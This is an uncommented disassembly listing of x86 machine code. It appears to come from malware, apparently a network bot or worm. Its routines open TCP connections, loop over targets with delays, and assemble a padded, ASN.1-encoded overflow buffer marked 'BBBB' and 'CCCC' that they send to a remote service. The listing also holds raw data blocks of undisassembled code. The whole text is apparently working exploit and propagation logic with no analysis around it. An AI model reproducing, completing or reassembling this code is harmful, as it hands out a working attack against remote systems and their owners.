		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h


loc_40C3F4:				; CODE XREF: sub_40C124+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C40A:				; CODE XREF: sub_40C124+27Bj
					; sub_40C124+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427078
		mov	edi, ebx
		mov	dword_4CB0C4[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C4D7


loc_40C428:				; CODE XREF: sub_40C124+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B2C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43DEB4[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C124
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40C4A2


loc_40C497:				; CODE XREF: sub_40C124+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C4C9
		push	1Eh
		call	esi
		jmp	short loc_40C497
; ---------------------------------------------------------------------------


loc_40C4A2:				; CODE XREF: sub_40C124+371j
		nop
		call	near ptr 26709FBh
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431AF4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_40C4C9:				; CODE XREF: sub_40C124+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C428


loc_40C4D7:				; CODE XREF: sub_40C124+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C581
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_40C4EC:				; CODE XREF: sub_40C124+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CB0C0[eax*8]
		push	eax
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431AB4
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C53A
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h


loc_40C53A:				; CODE XREF: sub_40C124+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CB0C4[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B33E
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C571
		push	offset dword_4CD0C0
		nop
		call	near ptr 26D0771h


loc_40C571:				; CODE XREF: sub_40C124+440j
		push	[ebp+var_2C]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h


loc_40C581:				; CODE XREF: sub_40C124+3B6j
					; sub_40C124+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CB0C4[eax*8], 1
		jnz	loc_40C4EC
		push	7D0h
		call	esi
		jmp	short loc_40C581
sub_40C124	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C59B	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CAF74
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CAFF4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C659
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF1C
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43DEBC[ecx], esi
		jz	short loc_40C659
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CB000
		push	eax
		mov	edi, offset dword_4CDA84
		push	offset dword_431B94
		push	edi
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409A72
		push	edi
		call	sub_4151AC
		add	esp, 28h


loc_40C659:				; CODE XREF: sub_40C59B+5Dj
					; sub_40C59B+7Ej
		push	esi
		call	dword_4CB00C
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C59B	endp

; ---------------------------------------------------------------------------
dword_40C668	dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_401ACD+603Eo
		dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h
		dd 1, 75FFFF33h, 0E075FFD0h, 0B00015FFh, 8D50004Ch, 0FFFECC85h
		dd 1BBC68FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 0DCB00500h, 0E8500043h
		dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
		dd 40C59Bh, 0E8905757h,	2263910h, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 0A2E890FCh,	0FF022440h
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CAE9Ch
		dd 45895040h, 7015FF08h, 89004CAFh, 458D0845h, 50046A08h
		dd 50E0458Dh, 0FBBFE8h,	0CC48300h, 0FFFF3DE9h
		db 0FFh
byte_40C759	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5D4Eo
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD475h, 15FFE4h, 50004CB0h, 0FED0858Dh, 1068FFFFh
		dd 5000431Ch, 0F0E1E8h,	0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
		dd 234C069h, 0B0050000h, 500043DCh, 0EE2BE8h, 1CC48300h
		dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h,	90575700h
		dd 26381FE8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h
		dd 0FFF5EBD6h, 0E8900875h, 2243FB1h, 8CB3FFh, 0BB890000h
		dd 0A8h, 458BD6FFh, 0D8453BD4h,	45FF0874h, 0FF6DE9D4h
		dd 75FFFFFFh, 15FFE4h, 50004CB0h, 0FED0858Dh, 0E468FFFFh
		dd 5000431Bh, 0F051E8h,	858D5700h, 0FFFFFED0h, 50EC75FFh
		dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh
		dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_40C866	proc near		; CODE XREF: sub_40CADA+Ep
					; sub_40CADA+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C866	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C870	proc near		; CODE XREF: sub_40CADA+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C8A2
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41C310
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40C8A2:				; CODE XREF: sub_40C870+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C870	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8AA	proc near		; CODE XREF: sub_40C9A4+18p
					; sub_40CA1E+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C8F6
		push	edi
		push	0
		push	esi
		call	sub_41B590
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41C310
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41C310
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40C8F6:				; CODE XREF: sub_40C8AA+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C8AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C8FF	proc near		; CODE XREF: sub_40C9A4+5Ep
					; sub_40C9A4+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C90F
		push	eax
		call	sub_41B0B1
		pop	ecx


loc_40C90F:				; CODE XREF: sub_40C8FF+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C8FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C918	proc near		; CODE XREF: sub_40C9A4+20p
					; sub_40CA7F+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C945
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C949


loc_40C945:				; CODE XREF: sub_40C918+Dj
		xor	al, al
		jmp	short loc_40C9A0
; ---------------------------------------------------------------------------


loc_40C949:				; CODE XREF: sub_40C918+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C96E
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40C988
; ---------------------------------------------------------------------------


loc_40C96E:				; CODE XREF: sub_40C918+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40C988:				; CODE XREF: sub_40C918+54j
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B0B1
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40C9A0:				; CODE XREF: sub_40C918+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C918	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9A4	proc near		; CODE XREF: sub_40CADA+89p
					; sub_40CADA+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4CAE2C
		call	sub_40C8AA
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C9DE
		xor	al, al
		jmp	short loc_40CA1A
; ---------------------------------------------------------------------------


loc_40C9DE:				; CODE XREF: sub_40C9A4+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41B590
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41C310
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C8FF
		mov	al, 1


loc_40CA1A:				; CODE XREF: sub_40C9A4+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C9A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA1E	proc near		; CODE XREF: sub_40CA52+14p
					; sub_40CA6F+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CA1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA52	proc near		; CODE XREF: sub_40CADA+F0p
					; sub_40CADA+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CA1E
		pop	esi
		retn	4
sub_40CA52	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA6F	proc near		; CODE XREF: sub_40CABB+Bp
					; sub_40CADA+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CA1E
		retn	8
sub_40CA6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA7F	proc near		; CODE XREF: sub_40CABB+16p
					; sub_40CADA+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C918
		test	al, al
		jz	short loc_40CAB8
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42C8F0
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CAB8:				; CODE XREF: sub_40CA7F+Fj
		pop	esi
		leave
		retn
sub_40CA7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CABB	proc near		; CODE XREF: sub_40CADA+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CA6F
		test	al, al
		jz	short loc_40CAD6
		mov	ecx, esi
		call	sub_40CA7F


loc_40CAD6:				; CODE XREF: sub_40CABB+12j
		pop	esi
		retn	8
sub_40CABB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CADA	proc near		; CODE XREF: ___:0040D361p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C866
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CE2E
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CE2E
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C866
		lea	ecx, [ebp+var_20]
		call	sub_40C866
		lea	ecx, [ebp+var_50]
		call	sub_40C866
		lea	ecx, [ebp+var_18]
		call	sub_40C866
		lea	ecx, [ebp+var_40]
		call	sub_40C866
		lea	ecx, [ebp+var_38]
		call	sub_40C866
		lea	ecx, [ebp+var_28]
		call	sub_40C866
		push	4
		push	offset dword_431C48
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		push	3
		push	offset dword_431C50
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		lea	ecx, [ebp+var_30]
		call	sub_40C9A4
		lea	ecx, [ebp+var_30]
		call	sub_40CA7F
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CA1E
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CA1E
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_20]
		call	sub_40C9A4
		push	offset loc_431FCC
		lea	ecx, [ebp+var_50]
		call	sub_40CA52
		lea	ecx, [ebp+var_50]
		call	sub_40C9A4
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C870
		lea	ecx, [ebp+var_58]
		call	sub_40C9A4
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CABB
		lea	ecx, [ebp+var_58]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CA52
		push	4
		push	offset dword_431C54
		lea	ecx, [ebp+var_18]
		call	sub_40CA1E
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CA1E
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_18]
		call	sub_40C9A4
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CA6F
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CA6F
		lea	ecx, [ebp+var_40]
		call	sub_40CA7F
		lea	ecx, [ebp+var_18]
		call	sub_40C8FF
		lea	ecx, [ebp+var_50]
		call	sub_40C8FF
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CA6F
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CA6F
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CA6F
		lea	ecx, [ebp+var_38]
		call	sub_40CA7F
		lea	ecx, [ebp+var_20]
		call	sub_40C8FF
		lea	ecx, [ebp+var_30]
		call	sub_40C8FF
		lea	ecx, [ebp+var_40]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_28]
		call	sub_40C9A4
		push	2
		push	offset dword_431FC0
		lea	ecx, [ebp+var_28]
		call	sub_40CA1E
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CA6F
		lea	ecx, [ebp+var_28]
		call	sub_40CA7F
		lea	ecx, [ebp+var_38]
		call	sub_40C8FF
		lea	ecx, [ebp+var_10]
		call	sub_40C866
		lea	ecx, [ebp+var_8]
		call	sub_40C866
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_28]
		call	sub_40C8FF
		push	offset dword_431FBC
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	offset dword_431FB8
		lea	ecx, [ebp+var_10]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		push	offset dword_431FAC
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	(offset	loc_431FA7+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40CE3C
; ---------------------------------------------------------------------------


loc_40CE2E:				; CODE XREF: sub_40CADA+1Bj
					; sub_40CADA+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40CE3C:				; CODE XREF: sub_40CADA+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CADA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE40	proc near		; CODE XREF: sub_40CF04+A1p
					; sub_40CF04+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_40CEA7
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40CEAB


loc_40CEA7:				; CODE XREF: sub_40CE40+54j
		xor	eax, eax
		jmp	short loc_40CEBB
; ---------------------------------------------------------------------------


loc_40CEAB:				; CODE XREF: sub_40CE40+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CAF8C


loc_40CEBB:				; CODE XREF: sub_40CE40+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CE40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEBF	proc near		; CODE XREF: sub_40CF04+81p
					; sub_40CF04+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CAF70
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	eax, 4
		jz	short loc_40CEE9
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CEE9:				; CODE XREF: sub_40CEBF+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CAFC4
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CEBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF04	proc near		; CODE XREF: sub_40CFDE+48p
					; ___:0040D452p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CF2D
		xor	al, al
		jmp	loc_40CFD9
; ---------------------------------------------------------------------------


loc_40CF2D:				; CODE XREF: sub_40CF04+20j
		push	ebx
		push	0
		push	esi
		call	sub_41B590
		push	2Fh
		push	offset dword_431CE4
		push	esi
		call	sub_41C310
		push	8
		lea	eax, [esi+31h]
		push	offset dword_431D14
		push	eax
		mov	[esi+2Fh], di
		call	sub_41C310
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41C310
		push	6
		add	ebx, edi
		push	offset dword_4CDC8C
		push	ebx
		call	sub_41C310
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_431C5C
		push	ebx
		call	sub_40CEBF
		add	esp, 48h
		test	al, al
		jnz	short loc_40CF95


loc_40CF91:				; CODE XREF: sub_40CF04+B5j
		xor	bl, bl
		jmp	short loc_40CFD0
; ---------------------------------------------------------------------------


loc_40CF95:				; CODE XREF: sub_40CF04+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40CEBF
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CF91
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		add	esp, 10h
		mov	bl, 1


loc_40CFD0:				; CODE XREF: sub_40CF04+8Fj
		push	esi
		call	sub_41B0B1
		pop	ecx
		mov	al, bl


loc_40CFD9:				; CODE XREF: sub_40CF04+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CF04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFDE	proc near		; CODE XREF: ___:0040D438p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
